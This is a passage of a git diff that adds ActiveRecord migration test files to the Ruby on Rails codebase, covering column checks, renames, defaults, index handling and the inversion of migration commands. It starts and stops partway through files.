+ t.column :bar, :decimal, :precision => 8, :scale => 2
+ end
+
+ assert connection.column_exists?(:testings, :foo, :string)
+ assert_not connection.column_exists?(:testings, :foo, :integer)
+
+ assert connection.column_exists?(:testings, :bar, :decimal)
+ assert_not connection.column_exists?(:testings, :bar, :integer)
+ end
+
+ def test_column_exists_with_definition
+ connection.create_table :testings do |t|
+ t.column :foo, :string, limit: 100
+ t.column :bar, :decimal, precision: 8, scale: 2
+ t.column :taggable_id, :integer, null: false
+ t.column :taggable_type, :string, default: 'Photo'
+ end
+
+ assert connection.column_exists?(:testings, :foo, :string, limit: 100)
+ assert_not connection.column_exists?(:testings, :foo, :string, limit: nil)
+ assert connection.column_exists?(:testings, :bar, :decimal, precision: 8, scale: 2)
+ assert_not connection.column_exists?(:testings, :bar, :decimal, precision: nil, scale: nil)
+ assert connection.column_exists?(:testings, :taggable_id, :integer, null: false)
+ assert_not connection.column_exists?(:testings, :taggable_id, :integer, null: true)
+ assert connection.column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+ assert_not connection.column_exists?(:testings, :taggable_type, :string, default: nil)
+ end
+
+ def test_column_exists_on_table_with_no_options_parameter_supplied
+ connection.create_table :testings do |t|
+ t.string :foo
+ end
+ connection.change_table :testings do |t|
+ assert t.column_exists?(:foo)
+ assert !(t.column_exists?(:bar))
+ end
+ end
+
+ private
+ def testing_table_with_only_foo_attribute
+ connection.create_table :testings, :id => false do |t|
+ t.column :foo, :string
+ end
+
+ yield
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
new file mode 100644
index 0000000..8065541
--- /dev/null
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -0,0 +1,204 @@
+require "cases/migration/helper"
+require "minitest/mock"
+
+module ActiveRecord
+ class Migration
+ class TableTest < ActiveRecord::TestCase
+ def setup
+ @connection = MiniTest::Mock.new
+ end
+
+ def teardown
+ assert @connection.verify
+ end
+
+ def with_change_table
+ yield ConnectionAdapters::Table.new(:delete_me, @connection)
+ end
+
+ def test_references_column_type_adds_id
+ with_change_table do |t|
+ @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+ t.references :customer
+ end
+ end
+
+ def test_remove_references_column_type_removes_id
+ with_change_table do |t|
+ @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+ t.remove_references :customer
+ end
+ end
+
+ def test_add_belongs_to_works_like_add_references
+ with_change_table do |t|
+ @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+ t.belongs_to :customer
+ end
+ end
+
+ def test_remove_belongs_to_works_like_remove_references
+ with_change_table do |t|
+ @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+ t.remove_belongs_to :customer
+ end
+ end
+
+ def test_references_column_type_with_polymorphic_adds_type
+ with_change_table do |t|
+ @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true]
+ t.references :taggable, polymorphic: true
+ end
+ end
+
+ def test_remove_references_column_type_with_polymorphic_removes_type
+ with_change_table do |t|
+ @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true]
+ t.remove_references :taggable, polymorphic: true
+ end
+ end
+
+ def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+ with_change_table do |t|
+ @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+ t.references :taggable, polymorphic: true, null: false
+ end
+ end
+
+ def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+ with_change_table do |t|
+ @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+ t.remove_references :taggable, polymorphic: true, null: false
+ end
+ end
+
+ def test_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expect :add_timestamps, nil, [:delete_me]
+ t.timestamps
+ end
+ end
+
+ def test_remove_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expect :remove_timestamps, nil, [:delete_me]
+ t.remove_timestamps
+ end
+ end
+
+ def test_integer_creates_integer_column
+ with_change_table do |t|
+ @connection.expect :add_column, nil, [:delete_me, :foo, :integer, {}]
+ @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+ t.integer :foo, :bar
+ end
+ end
+
+ def test_string_creates_string_column
+ with_change_table do |t|
+ @connection.expect :add_column, nil, [:delete_me, :foo, :string, {}]
+ @connection.expect :add_column, nil, [:delete_me, :bar, :string, {}]
+ t.string :foo, :bar
+ end
+ end
+
+ def test_column_creates_column
+ with_change_table do |t|
+ @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+ t.column :bar, :integer
+ end
+ end
+
+ def test_column_creates_column_with_options
+ with_change_table do |t|
+ @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {:null => false}]
+ t.column :bar, :integer, :null => false
+ end
+ end
+
+ def test_index_creates_index
+ with_change_table do |t|
+ @connection.expect :add_index, nil, [:delete_me, :bar, {}]
+ t.index :bar
+ end
+ end
+
+ def test_index_creates_index_with_options
+ with_change_table do |t|
+ @connection.expect :add_index, nil, [:delete_me, :bar, {:unique => true}]
+ t.index :bar, :unique => true
+ end
+ end
+
+ def test_index_exists
+ with_change_table do |t|
+ @connection.expect :index_exists?, nil, [:delete_me, :bar, {}]
+ t.index_exists?(:bar)
+ end
+ end
+
+ def test_index_exists_with_options
+ with_change_table do |t|
+ @connection.expect :index_exists?, nil, [:delete_me, :bar, {:unique => true}]
+ t.index_exists?(:bar, :unique => true)
+ end
+ end
+
+ def test_rename_index_renames_index
+ with_change_table do |t|
+ @connection.expect :rename_index, nil, [:delete_me, :bar, :baz]
+ t.rename_index :bar, :baz
+ end
+ end
+
+ def test_change_changes_column
+ with_change_table do |t|
+ @connection.expect :change_column, nil, [:delete_me, :bar, :string, {}]
+ t.change :bar, :string
+ end
+ end
+
+ def test_change_changes_column_with_options
+ with_change_table do |t|
+ @connection.expect :change_column, nil, [:delete_me, :bar, :string, {:null => true}]
+ t.change :bar, :string, :null => true
+ end
+ end
+
+ def test_change_default_changes_column
+ with_change_table do |t|
+ @connection.expect :change_column_default, nil, [:delete_me, :bar, :string]
+ t.change_default :bar, :string
+ end
+ end
+
+ def test_remove_drops_single_column
+ with_change_table do |t|
+ @connection.expect :remove_columns, nil, [:delete_me, :bar]
+ t.remove :bar
+ end
+ end
+
+ def test_remove_drops_multiple_columns
+ with_change_table do |t|
+ @connection.expect :remove_columns, nil, [:delete_me, :bar, :baz]
+ t.remove :bar, :baz
+ end
+ end
+
+ def test_remove_index_removes_index_with_options
+ with_change_table do |t|
+ @connection.expect :remove_index, nil, [:delete_me, {:unique => true}]
+ t.remove_index :unique => true
+ end
+ end
+
+ def test_rename_renames_column
+ with_change_table do |t|
+ @connection.expect :rename_column, nil, [:delete_me, :bar, :baz]
+ t.rename :bar, :baz
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
new file mode 100644
index 0000000..ec29266
--- /dev/null
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -0,0 +1,206 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+ class Migration
+ class ColumnAttributesTest < ActiveRecord::TestCase
+ include ActiveRecord::Migration::TestHelper
+
+ self.use_transactional_fixtures = false
+
+ def test_add_column_newline_default
+ string = "foo\nbar"
+ add_column 'test_models', 'command', :string, :default => string
+ TestModel.reset_column_information
+
+ assert_equal string, TestModel.new.command
+ end
+
+ def test_add_remove_single_field_using_string_arguments
+ assert_not TestModel.column_methods_hash.key?(:last_name)
+
+ add_column 'test_models', 'last_name', :string
+
+ TestModel.reset_column_information
+
+ assert TestModel.column_methods_hash.key?(:last_name)
+
+ remove_column 'test_models', 'last_name'
+
+ TestModel.reset_column_information
+ assert_not TestModel.column_methods_hash.key?(:last_name)
+ end
+
+ def test_add_remove_single_field_using_symbol_arguments
+ assert_not TestModel.column_methods_hash.key?(:last_name)
+
+ add_column :test_models, :last_name, :string
+
+ TestModel.reset_column_information
+ assert TestModel.column_methods_hash.key?(:last_name)
+
+ remove_column :test_models, :last_name
+
+ TestModel.reset_column_information
+ assert_not TestModel.column_methods_hash.key?(:last_name)
+ end
+
+ def test_unabstracted_database_dependent_types
+ skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+
+ add_column :test_models, :intelligence_quotient, :tinyint
+ TestModel.reset_column_information
+ assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+ end
+
+ # We specifically do a manual INSERT here, and then test only the SELECT
+ # functionality. This allows us to more easily catch INSERT being broken,
+ # but SELECT actually working fine.
+ def test_native_decimal_insert_manual_vs_automatic
+ correct_value = '0012345678901234567890.0123456789'.to_d
+
+ connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+
+ # Do a manual insertion
+ if current_adapter?(:OracleAdapter)
+ connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+ elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
+ connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
+ elsif current_adapter?(:PostgreSQLAdapter)
+ connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+ else
+ connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+ end
+
+ # SELECT
+ row = TestModel.first
+ assert_kind_of BigDecimal, row.wealth
+
+ # If this assert fails, that means the SELECT is broken!
+ unless current_adapter?(:SQLite3Adapter)
+ assert_equal correct_value, row.wealth
+ end
+
+ # Reset to old state
+ TestModel.delete_all
+
+ # Now use the Rails insertion
+ TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
+
+ # SELECT
+ row = TestModel.first
+ assert_kind_of BigDecimal, row.wealth
+
+ # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
+ unless current_adapter?(:SQLite3Adapter)
+ assert_equal correct_value, row.wealth
+ end
+ end
+
+ def test_add_column_with_precision_and_scale
+ connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+ end
+
+ def test_change_column_preserve_other_column_precision_and_scale
+ skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
+
+ connection.add_column 'test_models', 'last_name', :string
+ connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+
+ connection.change_column 'test_models', 'last_name', :string, :null => false
+ TestModel.reset_column_information
+
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+ end
+
+ def test_native_types
+ add_column "test_models", "first_name", :string
+ add_column "test_models", "last_name", :string
+ add_column "test_models", "bio", :text
+ add_column "test_models", "age", :integer
+ add_column "test_models", "height", :float
+ add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+ add_column "test_models", "birthday", :datetime
+ add_column "test_models", "favorite_day", :date
+ add_column "test_models", "moment_of_truth", :datetime
+ add_column "test_models", "male", :boolean
+
+ TestModel.create :first_name => 'bob', :last_name => 'bobsen',
+ :bio => "I was born ....", :age => 18, :height => 1.78,
+ :wealth => BigDecimal.new("12345678901234567890.0123456789"),
+ :birthday => 18.years.ago, :favorite_day => 10.days.ago,
+ :moment_of_truth => "1782-10-10 21:40:18", :male => true
+
+ bob = TestModel.first
+ assert_equal 'bob', bob.first_name
+ assert_equal 'bobsen', bob.last_name
+ assert_equal "I was born ....", bob.bio
+ assert_equal 18, bob.age
+
+ # Test for 30 significant digits (beyond the 16 of float), 10 of them
+ # after the decimal place.
+
+ unless current_adapter?(:SQLite3Adapter)
+ assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
+ end
+
+ assert_equal true, bob.male?
+
+ assert_equal String, bob.first_name.class
+ assert_equal String, bob.last_name.class
+ assert_equal String, bob.bio.class
+ assert_equal Fixnum, bob.age.class
+ assert_equal Time, bob.birthday.class
+
+ if current_adapter?(:OracleAdapter, :SybaseAdapter)
+ # Sybase, and Oracle don't differentiate between date/time
+ assert_equal Time, bob.favorite_day.class
+ else
+ assert_equal Date, bob.favorite_day.class
+ end
+
+ # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
+ # therefore no timezone change is done afterwards when default timezone is changed
+ unless current_adapter?(:OracleAdapter)
+ # Test DateTime column and defaults, including timezone.
+ # FIXME: moment of truth may be Time on 64-bit platforms.
+ if bob.moment_of_truth.is_a?(DateTime)
+
+ with_env_tz 'US/Eastern' do
+ bob.reload
+ assert_equal DateTime.local_offset, bob.moment_of_truth.offset
+ assert_not_equal 0, bob.moment_of_truth.offset
+ assert_not_equal "Z", bob.moment_of_truth.zone
+ # US/Eastern is -5 hours from GMT
+ assert_equal Rational(-5, 24), bob.moment_of_truth.offset
+ assert_match(/\A-05:00\Z/, bob.moment_of_truth.zone)
+ assert_equal DateTime::ITALY, bob.moment_of_truth.start
+ end
+ end
+ end
+
+ assert_instance_of TrueClass, bob.male?
+ assert_kind_of BigDecimal, bob.wealth
+ end
+
+ def test_out_of_range_limit_should_raise
+ skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+
+ assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
+
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
new file mode 100644
index 0000000..913d935
--- /dev/null
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -0,0 +1,60 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class ColumnPositioningTest < ActiveRecord::TestCase
+ attr_reader :connection, :table_name
+ alias :conn :connection
+
+ def setup
+ super
+
+ unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ skip "not supported on #{connection.class}"
+ end
+
+ @connection = ActiveRecord::Base.connection
+
+ connection.create_table :testings, :id => false do |t|
+ t.column :first, :integer
+ t.column :second, :integer
+ t.column :third, :integer
+ end
+ end
+
+ def teardown
+ super
+ connection.drop_table :testings rescue nil
+ ActiveRecord::Base.primary_key_prefix_type = nil
+ end
+
+ def test_column_positioning
+ assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
+ end
+
+ def test_add_column_with_positioning
+ conn.add_column :testings, :new_col, :integer
+ assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
+ end
+
+ def test_add_column_with_positioning_first
+ conn.add_column :testings, :new_col, :integer, :first => true
+ assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
+ end
+
+ def test_add_column_with_positioning_after
+ conn.add_column :testings, :new_col, :integer, :after => :first
+ assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
+ end
+
+ def test_change_column_with_positioning
+ conn.change_column :testings, :second, :integer, :first => true
+ assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+
+ conn.change_column :testings, :second, :integer, :after => :third
+ assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+ end
+
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb
new file mode 100644
index 0000000..2d7a7ec
--- /dev/null
+++ b/activerecord/test/cases/migration/columns_test.rb
@@ -0,0 +1,279 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+ class Migration
+ class ColumnsTest < ActiveRecord::TestCase
+ include ActiveRecord::Migration::TestHelper
+
+ self.use_transactional_fixtures = false
+
+ # FIXME: this is more of an integration test with AR::Base and the
+ # schema modifications. Maybe we should move this?
+ def test_add_rename
+ add_column "test_models", "girlfriend", :string
+ TestModel.reset_column_information
+
+ TestModel.create :girlfriend => 'bobette'
+
+ rename_column "test_models", "girlfriend", "exgirlfriend"
+
+ TestModel.reset_column_information
+ bob = TestModel.first
+
+ assert_equal "bobette", bob.exgirlfriend
+ end
+
+ # FIXME: another integration test. We should decouple this from the
+ # AR::Base implementation.
+ def test_rename_column_using_symbol_arguments
+ add_column :test_models, :first_name, :string
+
+ TestModel.create :first_name => 'foo'
+
+ rename_column :test_models, :first_name, :nick_name
+ TestModel.reset_column_information
+ assert TestModel.column_names.include?("nick_name")
+ assert_equal ['foo'], TestModel.all.map(&:nick_name)
+ end
+
+ # FIXME: another integration test. We should decouple this from the
+ # AR::Base implementation.
+ def test_rename_column
+ add_column "test_models", "first_name", "string"
+
+ TestModel.create :first_name => 'foo'
+
+ rename_column "test_models", "first_name", "nick_name"
+ TestModel.reset_column_information
+ assert TestModel.column_names.include?("nick_name")
+ assert_equal ['foo'], TestModel.all.map(&:nick_name)
+ end
+
+ def test_rename_column_preserves_default_value_not_null
+ add_column 'test_models', 'salary', :integer, :default => 70000
+
+ default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
+ assert_equal 70000, default_before
+
+ rename_column "test_models", "salary", "annual_salary"
+
+ assert TestModel.column_names.include?("annual_salary")
+ default_after = connection.columns("test_models").find { |c| c.name == "annual_salary" }.default
+ assert_equal 70000, default_after
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_mysql_rename_column_preserves_auto_increment
+ rename_column "test_models", "id", "id_test"
+ assert_equal "auto_increment", connection.columns("test_models").find { |c| c.name == "id_test" }.extra
+ end
+ end
+
+ def test_rename_nonexistent_column
+ exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+ ActiveRecord::StatementInvalid
+ else
+ ActiveRecord::ActiveRecordError
+ end
+ assert_raise(exception) do
+ rename_column "test_models", "nonexistent", "should_fail"
+ end
+ end
+
+ def test_rename_column_with_sql_reserved_word
+ add_column 'test_models', 'first_name', :string
+ rename_column "test_models", "first_name", "group"
+
+ assert TestModel.column_names.include?("group")
+ end
+
+ def test_rename_column_with_an_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name
+
+ assert_equal 1, connection.indexes('test_models').size
+ rename_column "test_models", "hat_name", "name"
+
+ assert_equal ['index_test_models_on_name'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_rename_column_with_multi_column_index
+ add_column "test_models", :hat_size, :integer
+ add_column "test_models", :hat_style, :string, limit: 100
+ add_index "test_models", ["hat_style", "hat_size"], unique: true
+
+ rename_column "test_models", "hat_size", 'size'
+ if current_adapter? :OracleAdapter
+ assert_equal ['i_test_models_hat_style_size'], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_hat_style_and_size'], connection.indexes('test_models').map(&:name)
+ end
+
+ rename_column "test_models", "hat_style", 'style'
+ if current_adapter? :OracleAdapter
+ assert_equal ['i_test_models_style_size'], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_style_and_size'], connection.indexes('test_models').map(&:name)
+ end
+ end
+
+ def test_rename_column_does_not_rename_custom_named_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name, :name => 'idx_hat_name'
+
+ assert_equal 1, connection.indexes('test_models').size
+ rename_column "test_models", "hat_name", "name"
+ assert_equal ['idx_hat_name'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_remove_column_with_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name
+
+ assert_equal 1, connection.indexes('test_models').size
+ remove_column("test_models", "hat_name")
+ assert_equal 0, connection.indexes('test_models').size
+ end
+
+ def test_remove_column_with_multi_column_index
+ add_column "test_models", :hat_size, :integer
+ add_column "test_models", :hat_style, :string, :limit => 100
+ add_index "test_models", ["hat_style", "hat_size"], :unique => true
+
+ assert_equal 1, connection.indexes('test_models').size
+ remove_column("test_models", "hat_size")
+
+ # Every database and/or database adapter has their own behavior
+ # if it drops the multi-column index when any of the indexed columns dropped by remove_column.
+ if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+ assert_equal [], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_hat_style_and_hat_size'], connection.indexes('test_models').map(&:name)
+ end
+ end
+
+ def test_change_type_of_not_null_column
+ change_column "test_models", "updated_at", :datetime, :null => false
+ change_column "test_models", "updated_at", :datetime, :null => false
+
+ TestModel.reset_column_information
+ assert_equal false, TestModel.columns_hash['updated_at'].null
+ ensure
+ change_column "test_models", "updated_at", :datetime, :null => true
+ end
+
+ def test_change_column_nullability
+ add_column "test_models", "funny", :boolean
+ assert TestModel.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
+
+ change_column "test_models", "funny", :boolean, :null => false, :default => true
+
+ TestModel.reset_column_information
+ assert_not TestModel.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
+
+ change_column "test_models", "funny", :boolean, :null => true
+ TestModel.reset_column_information
+ assert TestModel.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
+ end
+
+ def test_change_column
+ add_column 'test_models', 'age', :integer
+ add_column 'test_models', 'approved', :boolean, :default => true
+
+ old_columns = connection.columns(TestModel.table_name)
+
+ assert old_columns.find { |c| c.name == 'age' && c.type == :integer }
+
+ change_column "test_models", "age", :string
+
+ new_columns = connection.columns(TestModel.table_name)
+
+ assert_not new_columns.find { |c| c.name == 'age' and c.type == :integer }
+ assert new_columns.find { |c| c.name == 'age' and c.type == :string }
+
+ old_columns = connection.columns(TestModel.table_name)
+ assert old_columns.find { |c|
+ c.name == 'approved' && c.type == :boolean && c.default == true
+ }
+
+ change_column :test_models, :approved, :boolean, :default => false
+ new_columns = connection.columns(TestModel.table_name)
+
+ assert_not new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
+ assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
+ change_column :test_models, :approved, :boolean, :default => true
+ end
+
+ def test_change_column_with_nil_default
+ add_column "test_models", "contributor", :boolean, :default => true
+ assert TestModel.new.contributor?
+
+ change_column "test_models", "contributor", :boolean, :default => nil
+ TestModel.reset_column_information
+ assert_not TestModel.new.contributor?
+ assert_nil TestModel.new.contributor
+ end
+
+ def test_change_column_with_new_default
+ add_column "test_models", "administrator", :boolean, :default => true
+ assert TestModel.new.administrator?
+
+ change_column "test_models", "administrator", :boolean, :default => false
+ TestModel.reset_column_information
+ assert_not TestModel.new.administrator?
+ end
+
+ def test_change_column_with_custom_index_name
+ add_column "test_models", "category", :string
+ add_index :test_models, :category, name: 'test_models_categories_idx'
+
+ assert_equal ['test_models_categories_idx'], connection.indexes('test_models').map(&:name)
+ change_column "test_models", "category", :string, null: false, default: 'article'
+
+ assert_equal ['test_models_categories_idx'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_change_column_with_long_index_name
+ table_name_prefix = 'test_models_'
+ long_index_name = table_name_prefix + ('x' * (connection.allowed_index_name_length - table_name_prefix.length))
+ add_column "test_models", "category", :string
+ add_index :test_models, :category, name: long_index_name
+
+ change_column "test_models", "category", :string, null: false, default: 'article'
+
+ assert_equal [long_index_name], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_change_column_default
+ add_column "test_models", "first_name", :string
+ connection.change_column_default "test_models", "first_name", "Tester"
+
+ assert_equal "Tester", TestModel.new.first_name
+ end
+
+ def test_change_column_default_to_null
+ add_column "test_models", "first_name", :string
+ connection.change_column_default "test_models", "first_name", nil
+ assert_nil TestModel.new.first_name
+ end
+
+ def test_remove_column_no_second_parameter_raises_exception
+ assert_raise(ArgumentError) { connection.remove_column("funny") }
+ end
+
+ def test_removing_and_renaming_column_preserves_custom_primary_key
+ connection.create_table "my_table", primary_key: "my_table_id", force: true do |t|
+ t.integer "col_one"
+ t.string "col_two", limit: 128, null: false
+ end
+
+ remove_column("my_table", "col_two")
+ rename_column("my_table", "col_one", "col_three")
+
+ assert_equal 'my_table_id', connection.primary_key('my_table')
+ ensure
+ connection.drop_table(:my_table) rescue nil
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
new file mode 100644
index 0000000..2cad8a6
--- /dev/null
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -0,0 +1,247 @@
+require "cases/helper"
+
+module ActiveRecord
+ class Migration
+ class CommandRecorderTest < ActiveRecord::TestCase
+ def setup
+ @recorder = CommandRecorder.new
+ end
+
+ def test_respond_to_delegates
+ recorder = CommandRecorder.new(Class.new {
+ def america; end
+ }.new)
+ assert recorder.respond_to?(:america)
+ end
+
+ def test_send_calls_super
+ assert_raises(NoMethodError) do
+ @recorder.send(:non_existing_method, :horses)
+ end
+ end
+
+ def test_send_delegates_to_record
+ recorder = CommandRecorder.new(Class.new {
+ def create_table(name); end
+ }.new)
+ assert recorder.respond_to?(:create_table), 'respond_to? create_table'
+ recorder.send(:create_table, :horses)
+ assert_equal [[:create_table, [:horses], nil]], recorder.commands
+ end
+
+ def test_unknown_commands_delegate
+ recorder = CommandRecorder.new(stub(:foo => 'bar'))
+ assert_equal 'bar', recorder.foo
+ end
+
+ def test_inverse_of_raise_exception_on_unknown_commands
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :execute, ['some sql']
+ end
+ end
+
+ def test_irreversible_commands_raise_exception
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.revert{ @recorder.execute 'some sql' }
+ end
+ end
+
+ def test_record
+ @recorder.record :create_table, [:system_settings]
+ assert_equal 1, @recorder.commands.length
+ end
+
+ def test_inverted_commands_are_reversed
+ @recorder.revert do
+ @recorder.record :create_table, [:hello]
+ @recorder.record :create_table, [:world]
+ end
+ tables = @recorder.commands.map{|_cmd, args, _block| args}
+ assert_equal [[:world], [:hello]], tables
+ end
+
+ def test_revert_order
+ block = Proc.new{|t| t.string :name }
+ @recorder.instance_eval do
+ create_table("apples", &block)
+ revert do
+ create_table("bananas", &block)
+ revert do
+ create_table("clementines", &block)
+ create_table("dates")
+ end
+ create_table("elderberries")
+ end
+ revert do
+ create_table("figs", &block)
+ create_table("grapes")
+ end
+ end
+ assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+ [:create_table, ["clementines"], block], [:create_table, ["dates"], nil],
+ [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+ [:drop_table, ["figs"], block]], @recorder.commands
+ end
+
+ def test_invert_change_table
+ @recorder.revert do
+ @recorder.change_table :fruits do |t|
+ t.string :name
+ t.rename :kind, :cultivar
+ end
+ end
+ assert_equal [
+ [:rename_column, [:fruits, :cultivar, :kind]],
+ [:remove_column, [:fruits, :name, :string, {}], nil],
+ ], @recorder.commands
+
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.revert do
+ @recorder.change_table :fruits do |t|
+ t.remove :kind
+ end
+ end
+ end
+ end
+
+ def test_invert_create_table
+ @recorder.revert do
+ @recorder.record :create_table, [:system_settings]
+ end
+ drop_table = @recorder.commands.first
+ assert_equal [:drop_table, [:system_settings], nil], drop_table
+ end
+
+ def test_invert_create_table_with_options_and_block
+ block = Proc.new{}
+ drop_table = @recorder.inverse_of :create_table, [:people_reminders, id: false], &block
+ assert_equal [:drop_table, [:people_reminders, id: false], block], drop_table
+ end
+
+ def test_invert_drop_table
+ block = Proc.new{}
+ create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false], &block
+ assert_equal [:create_table, [:people_reminders, id: false], block], create_table
+ end
+
+ def test_invert_drop_table_without_a_block_nor_option
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :drop_table, [:people_reminders]
+ end
+ end
+
+ def test_invert_create_join_table
+ drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists]
+ assert_equal [:drop_join_table, [:musics, :artists], nil], drop_join_table
+ end
+
+ def test_invert_create_join_table_with_table_name
+ drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists, table_name: :catalog]
+ assert_equal [:drop_join_table, [:musics, :artists, table_name: :catalog], nil], drop_join_table
+ end
+
+ def test_invert_drop_join_table
+ block = Proc.new{}
+ create_join_table = @recorder.inverse_of :drop_join_table, [:musics, :artists, table_name: :catalog], &block
+ assert_equal [:create_join_table, [:musics, :artists, table_name: :catalog], block], create_join_table
+ end
+
+ def test_invert_rename_table
+ rename = @recorder.inverse_of :rename_table, [:old, :new]
+ assert_equal [:rename_table, [:new, :old]], rename
+ end
+
+ def test_invert_add_column
+ remove = @recorder.inverse_of :add_column, [:table, :column, :type, {}]
+ assert_equal [:remove_column, [:table, :column, :type, {}], nil], remove
+ end
+
+ def test_invert_remove_column
+ add = @recorder.inverse_of :remove_column, [:table, :column, :type, {}]
+ assert_equal [:add_column, [:table, :column, :type, {}], nil], add
+ end
+
+ def test_invert_remove_column_without_type
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :remove_column, [:table, :column]
+ end
+ end
+
+ def test_invert_rename_column
+ rename = @recorder.inverse_of :rename_column, [:table, :old, :new]
+ assert_equal [:rename_column, [:table, :new, :old]], rename
+ end
+
+ def test_invert_add_index
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two], options: true]
+ assert_equal [:remove_index, [:table, {column: [:one, :two], options: true}]], remove
+ end
+
+ def test_invert_add_index_with_name
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
